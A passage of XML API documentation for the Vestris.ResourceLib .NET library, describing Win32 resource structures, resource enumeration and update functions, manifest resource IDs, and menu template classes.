identifier, \n            and the high-order word must contain the IBM code page number. \n            Either high-order or low-order word can be zero, indicating that the file is language \n            or code page independent.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wLanguageIDMS\">\n            <summary>\n            Microsoft language identifier.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wCodePageIBM\">\n            <summary>\n            IBM code page number.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO\">\n            <summary>\n            This structure contains version information about a file. \n            This information is language- and code page–independent.\n            http://msdn.microsoft.com/en-us/library/ms647001.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwSignature\">\n            <summary>\n            Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwStrucVersion\">\n            <summary>\n            Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlagsMask\">\n            <summary>\n            Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlags\">\n            <summary>\n            Contains a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileOS\">\n            <summary>\n            Specifies the operating system for which this file was designed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileType\">\n            <summary>\n            Specifies the general type of file. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileSubtype\">\n            <summary>\n            Specifies the function of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.GetWindowsDefault\">\n            <summary>\n            Creates a default Windows VS_FIXEDFILEINFO structure.\n            </summary>\n            <returns>A default Windows VS_FIXEDFILEINFO.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIR\">\n            <summary>\n            A hardware-independent icon directory resource header.\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wType\">\n            <summary>\n            Resource type, 1 for icons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wImageCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry.\n            See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bWidth\">\n            <summary>\n            Width of the image. Starting with Windows 95 a value of 0 represents width of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bHeight\">\n            <summary>\n            Height of the image. Starting with Windows 95 a value of 0 represents height of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bColors\">\n            <summary>\n            Number of colors in the image. \n            bColors = 1 &lt;&lt; (wBitsPerPixel * wPlanes)\n            If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.nID\">\n            <summary>\n            Icon ID.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bWidth\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bHeight\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bColors\">\n            <summary>\n            Colors; 0 means 256 or more.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes for icons.\n            Horizontal hotspot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel for icons.\n            Vertical hostpot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwFileOffset\">\n            <summary>\n            Offset of bitmap data from the beginning of the file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR\">\n            <summary>\n            Hardware-independent icon structure in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wType\">\n            <summary>\n            Resource Type (1 for icons).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_LIBRARY_AS_DATAFILE\">\n            <summary>\n            If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.DONT_RESOLVE_DLL_REFERENCES\">\n            <summary>\n            If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_WITH_ALTERED_SEARCH_PATH\">\n            <summary>\n            If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_IGNORE_CODE_AUTHZ_LEVEL\">\n            <summary>\n            If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadLibraryEx(System.String,System.IntPtr,System.UInt32)\">\n            <summary>\n            Loads the specified module into the address space of the calling process. \n            The specified module may cause other modules to be loaded.\n            </summary>\n            <param name=\"lpFileName\">The name of the module.</param>\n            <param name=\"hFile\">This parameter is reserved for future use.</param>\n            <param name=\"dwFlags\">The action to be taken when loading the module.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FreeLibrary(System.IntPtr)\">\n            <summary>\n            Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count.\n            </summary>\n            <param name=\"hModule\">A handle to the loaded library module.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ResourceTypes\">\n            <summary>\n            Predefined resource types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_CURSOR\">\n            <summary>\n            Hardware-dependent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_BITMAP\">\n            <summary>\n            Bitmap resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ICON\">\n            <summary>\n            Hardware-dependent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MENU\">\n            <summary>\n            Menu resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DIALOG\">\n            <summary>\n            Dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_STRING\">\n            <summary>\n            String-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONTDIR\">\n            <summary>\n            Font directory resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONT\">\n            <summary>\n            Font resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ACCELERATOR\">\n            <summary>\n            Accelerator table.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_RCDATA\">\n            <summary>\n            Application-defined resource (raw data).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MESSAGETABLE\">\n            <summary>\n            Message-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_CURSOR\">\n            <summary>\n            Hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_ICON\">\n            <summary>\n            Hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VERSION\">\n            <summary>\n            Version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DLGINCLUDE\">\n            <summary>\n            Allows a resource editing tool to associate a string with an .rc file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_PLUGPLAY\">\n            <summary>\n            Plug and Play resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VXD\">\n            <summary>\n            VXD.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANICURSOR\">\n            <summary>\n            Animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANIICON\">\n            <summary>\n            Animated icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_HTML\">\n            <summary>\n            HTML.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MANIFEST\">\n            <summary>\n            Microsoft Windows XP: Side-by-Side Assembly XML Manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceTypes(System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resource types within a binary module.\n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource type.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the types are to be enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. </param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceNames(System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resources of a specified type within a binary module. \n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource name or ID.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources that are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource that is being enumerated.</param>\n            <param name=\"lpszName\">Specifies the name of a resource of the type being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates language-specific resources, of the specified type and name, associated with a binary module.\n            </summary>\n            <param name=\"hModule\">The handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource language.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the languages are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"wIDLanguage\">Specifies the language identifier for the resource for which the language is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FindResourceEx(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16)\">\n            <summary>\n            Determines the location of the resource with the specified type, name, and language in the specified module.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource.</param>\n            <param name=\"wLanguage\">Specifies the language of the resource.</param>\n            <returns>If the function succeeds, the return value is a handle to the specified resource's information block.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LockResource(System.IntPtr)\">\n            <summary>\n            Locks the specified resource in memory.\n            </summary>\n            <param name=\"hResData\">Handle to the resource to be locked.</param>\n            <returns>If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Loads the specified resource into global memory.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResData\">Handle to the resource to be loaded.</param>\n            <returns>If the function succeeds, the return value is a handle to the data associated with the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.SizeofResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Returns the size, in bytes, of the specified resource. \n            </summary>\n            <param name=\"hInstance\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResInfo\">Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function.</param>\n            <returns>If the function succeeds, the return value is the number of bytes in the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.CloseHandle(System.IntPtr)\">\n            <summary>\n            Closes an open object handle.\n            </summary>\n            <param name=\"hHandle\">A valid handle to an open object.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.BeginUpdateResource(System.String,System.Boolean)\">\n            <summary>\n            Returns a handle to either a language-neutral portable executable file (LN file) or a \n            language-specific resource file (.mui file) that can be used by the UpdateResource function \n            to add, delete, or replace resources in a binary module.\n            </summary>\n            <param name=\"pFileName\">Pointer to a null-terminated string that specifies the binary file in which to update resources.</param>\n            <param name=\"bDeleteExistingResources\">Specifies whether to delete the pFileName parameter's existing resources.</param>\n            <returns>If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.UpdateResource(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.Byte[],System.UInt32)\">\n            <summary>\n            Adds, deletes, or replaces a resource in a portable executable (PE) file. \n            There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: \n            language-neutral (LN) files and language-specific resource (.mui) files.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, referencing the file to be updated.</param>\n            <param name=\"lpType\">Pointer to a null-terminated string specifying the resource type to be updated.</param>\n            <param name=\"lpName\">Pointer to a null-terminated string specifying the name of the resource to be updated.</param>\n            <param name=\"wLanguage\">Specifies the language identifier of the resource to be updated.</param>\n            <param name=\"lpData\">Pointer to the resource data to be inserted into the file indicated by hUpdate.</param>\n            <param name=\"cbData\">Specifies the size, in bytes, of the resource data at lpData.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EndUpdateResource(System.IntPtr,System.Boolean)\">\n            <summary>\n            Commits or discards changes made prior to a call to UpdateResource.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated.</param>\n            <param name=\"fDiscard\">Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect.</param>\n            <returns>Returns TRUE if the function succeeds; FALSE otherwise.</returns>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_NEUTRAL\">\n            <summary>\n            Neutral primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LANG_ENGLISH\">\n            <summary>\n            US-English primary language ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_NEUTRAL\">\n            <summary>\n            Neutral sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.SUBLANG_ENGLISH_US\">\n            <summary>\n            US-English sublanguage ID.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.CREATEPROCESS_MANIFEST_RESOURCE_ID\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, \n            ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. \n            The process default activation context will be used by all components running in the process. \n            CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has \n            a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the \n            dependency. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_MANIFEST_RESOURCE_ID\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private \n            dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. \n            It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll \n            version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still \n            use the right version of comctl32.dll. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\">\n            <summary>\n            When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW \n            is redefined to IsolationAwareLoadLibraryExW. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ManifestType\">\n            <summary>\n            Resource manifest type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.CreateProcess\">\n            <summary>\n            CREATEPROCESS_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAware\">\n            <summary>\n            ISOLATIONAWARE_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ManifestType.IsolationAwareNonstaticImport\">\n            <summary>\n            ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.MoveMemory(System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.\n            </summary>\n            <param name=\"dest\">A pointer to the starting address of the copied block's destination.</param>\n            <param name=\"src\">A pointer to the starting address of the block of memory to copy.</param>\n            <param name=\"count\">The size of the block of memory to copy, in bytes.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.LoadException\">\n            <summary>\n            A resource load exception.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.OuterException\">\n            <summary>\n            The Win32 exception from a resource enumeration function.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.LoadException.#ctor(System.String,System.Exception,System.Exception)\">\n            <summary>\n            A new resource load exception.\n            </summary>\n            <param name=\"message\">Error message.</param>\n            <param name=\"innerException\">The inner exception thrown within a single resource.</param>\n            <param name=\"outerException\">The outer exception from the Win32 API.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.LoadException.Message\">\n            <summary>\n            A combined message of the inner and outer exception.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ManifestResource\">\n            <summary>\n            An embedded SxS manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.Manifest\">\n            <summary>\n            Embedded XML manifest.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ManifestResource.ManifestType\">\n            <summary>\n            Manifest type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing embedded manifest resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor\">\n            <summary>\n            A new executable CreateProcess manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.#ctor(Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            A new executable manifest.\n            </summary>\n            <param name=\"manifestType\">Manifest type.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ManifestResource.LoadFrom(System.String,Vestris.ResourceLib.Kernel32.ManifestType)\">\n            <summary>\n            Load a manifest resource from an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n            <param name=\"manifestType\">Manifest resource type.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplate\">\n            <summary>\n            Extended menu template.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplate.MenuItems\">\n            <summary>\n            Menu items.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Read(System.IntPtr)\">\n            <summary>\n            Read the menu template.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu template.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplate.ToString\">\n            <summary>\n            String representation of the menu in the MENUEX format.\n            </summary>\n            <returns>String representation of the menu.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.MenuExTemplateItem\">\n            <summary>\n            A base menu template item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._header\">\n            <summary>\n            Menu item header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.MenuExTemplateItem._menuString\">\n            <summary>\n            Menu string.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.MenuExTemplateItem.MenuString\">\n            <summary>\n            Menu text.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Read(System.IntPtr)\">\n            <summary>\n            Read the menu item.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <returns>End of the menu item structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.MenuExTemplateItem.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the menu item to a binary stream.\n            </summary>\n            <param 